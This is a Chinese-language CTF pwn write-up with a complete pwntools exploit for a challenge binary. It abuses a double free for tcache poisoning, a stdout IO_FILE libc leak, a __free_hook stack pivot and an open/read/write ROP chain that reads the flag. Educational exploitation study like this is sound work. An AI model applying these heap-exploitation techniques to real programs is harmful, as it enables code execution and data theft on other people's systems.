题目分析
在delete函数里存在double free漏洞。
这个函数允许我们造成一次double free。
由于本题限制我们只能控制一个指针,但是因为开启沙箱,导致tcachebin里有许多可以用的空闲chunk,那么我们可以通过double free漏洞修改空闲指针为IO结构体,然后修改IO泄露libc,有1/256的概率成功,在本地调试的话关闭地址随机化就行了。泄露之后通过改freehook为gadget实现迁移执行orw。
exp
from pwn import *
context.log_level='debug'
r=process('./only')
elf=ELF('./only')
libc=elf.libc
def backdoor():
r.sendlineafter("Choice >> ",'0')
def add(size,content):
r.sendlineafter("Choice >> ",'1')
r.sendlineafter("Size:",str(size))
r.sendafter("Content:",content)
def delete():
r.sendlineafter("Choice >> ",'2')
add(0xe0,'\n')
delete()
backdoor()
delete()
add(0xe0,'\xf0\xd7\n')
add(0xe0,'\xf0\xd7\n')
add(0xe0,p64(0)+p64(0x491)+'\x00\xd8\n')
add(0x60,'\n')
delete()
add(0x20,'\xa0\x16\n')
add(0x60,'\n')
payload=p64(0xfbad1887)+p64(0)*3+'\x00\n'
add(0x60,payload)
leak=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print("leak->",hex(leak))
libc_base=leak-libc.sym['_IO_2_1_stdin_']
print("libc_base->",hex(libc_base))
pop_rax=libc_base+0x0000000000047400
pop_rdi=libc_base+0x0000000000023b72
pop_rsi=libc_base+0x000000000002604f
pop_rdx_r12=libc_base+0x0000000000119241
pop_rbp=libc_base+0x00000000000226c0
free_hook=libc_base+libc.sym['__free_hook']
open=libc_base+libc.sym['open']
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']
gadget=libc_base+0x00000000001518B0#mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
mov_rsp_rdx=libc_base+0x00000005b500
gets=libc_base+libc.sym['gets']
add(0xe0,p64(0)*7+p64(0x81)+p64(free_hook)+'\n')#0x80->free_hook
add(0x70,p64(0)+'\n')
print("pop_rbp->",hex(pop_rbp))
add(0x70,p64(gadget)+p64(free_hook+0x10)+p64(pop_rbp)+p64(free_hook)+p64(gets)+p64(0)+p64(mov_rsp_rdx)+'\n')
flagaddr=libc_base+0x1eeef0
payload='a'*0x20+p64(free_hook)+p64(pop_rdi)+p64(flagaddr)+p64(pop_rsi)+p64(0)+p64(open)+p64(pop_rdi)
payload+=p64(3)+p64(pop_rsi)+p64(flagaddr)+p64(pop_rdx_r12)+p64(0x30)*2+p64(read)+p64(pop_rdi)
payload+=p64(1)+p64(write)+'flag\x00'
gdb.attach(r)
delete()
r.sendline(payload)
r.interactive()
分析
add(0xe0,'\n')
delete()
backdoor()
delete()
制造double free
add(0xe0,'\xf0\xd7\n')
add(0xe0,'\xf0\xd7\n')
add(0xe0,p64(0)+p64(0x491)+'\x00\xd8\n')
add(0x60,'\n')
delete()
然后修改指针,使其指向0x55555555d7f0堆块,申请之后将原本在0x70空闲chunk的0x55555555d800堆块修改size为unsortedbin满足的大小,并且将指针指向自己,然后释放
add(0x20,'\xa0\x16\n')
add(0x60,'\n')
payload=p64(0xfbad1887)+p64(0)*3+'\x00\n'
add(0x60,payload)
leak=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print("leak->",hex(leak))
libc_base=leak-libc.sym['_IO_2_1_stdin_']
print("libc_base->",hex(libc_base))
然后从unsortedbin中申请0x20堆块并且修改后两位为stdout,此时0x70链就连上了stdout,然后申请两个堆块后将stdout结构体修改从而泄露libc。
此时我们注意到:大堆块覆盖掉了在tcachebin里的堆块,那我们可以通过申请一个堆块来改写这个在0x80空闲chunk的指针使其指向freehook,从而向freehook里写入gadget。
add(0xe0,p64(0)*7+p64(0x81)+p64(free_hook)+'\n')#0x80->free_hook
add(0x70,p64(0)+'\n')
print("pop_rbp->",hex(pop_rbp))
add(0x70,p64(gadget)+p64(free_hook+0x10)+p64(pop_rbp)+p64(free_hook)+p64(gets)+p64(0)+p64(mov_rsp_rdx)+'\n')
flagaddr=libc_base+0x1eeef0
payload='a'*0x20+p64(free_hook)+p64(pop_rdi)+p64(flagaddr)+p64(pop_rsi)+p64(0)+p64(open)+p64(pop_rdi)
payload+=p64(3)+p64(pop_rsi)+p64(flagaddr)+p64(pop_rdx_r12)+p64(0x30)*2+p64(read)+p64(pop_rdi)
payload+=p64(1)+p64(write)+'flag\x00'
gdb.attach(r)
delete()
r.sendline(payload)
r.interactive()
此时freehook里的结构
动态调试
si进入free函数调用
看到此时rax和rdi都为freehook
开始执行我们的gadget,分析一下这个gadget。首先将rdi+8位置的值(free_hook+0x10) 给rdx,然后将rsp迁移到gadget,最后执行rdx+0x20(mov_rsp_rdx)
si步入
将rsp迁移至rdx(pop_rbp)的位置,执行pop rbp之后rsp=rsp+8(gets函数),然后ret执行gets。
payload构造
由于在gets函数最后
先让rsp+8,然后执行四个pop,所以我们的orw链应该从0x28处开始写。然后执行ret之后正好返回我们的orw链,从而劫持程序执行流打印flag。
flag地址的确定
通过查看栈找到我们写的flag位置,然后减去libc(因为我们的orw链在freehook中,所以与libc偏移固定)。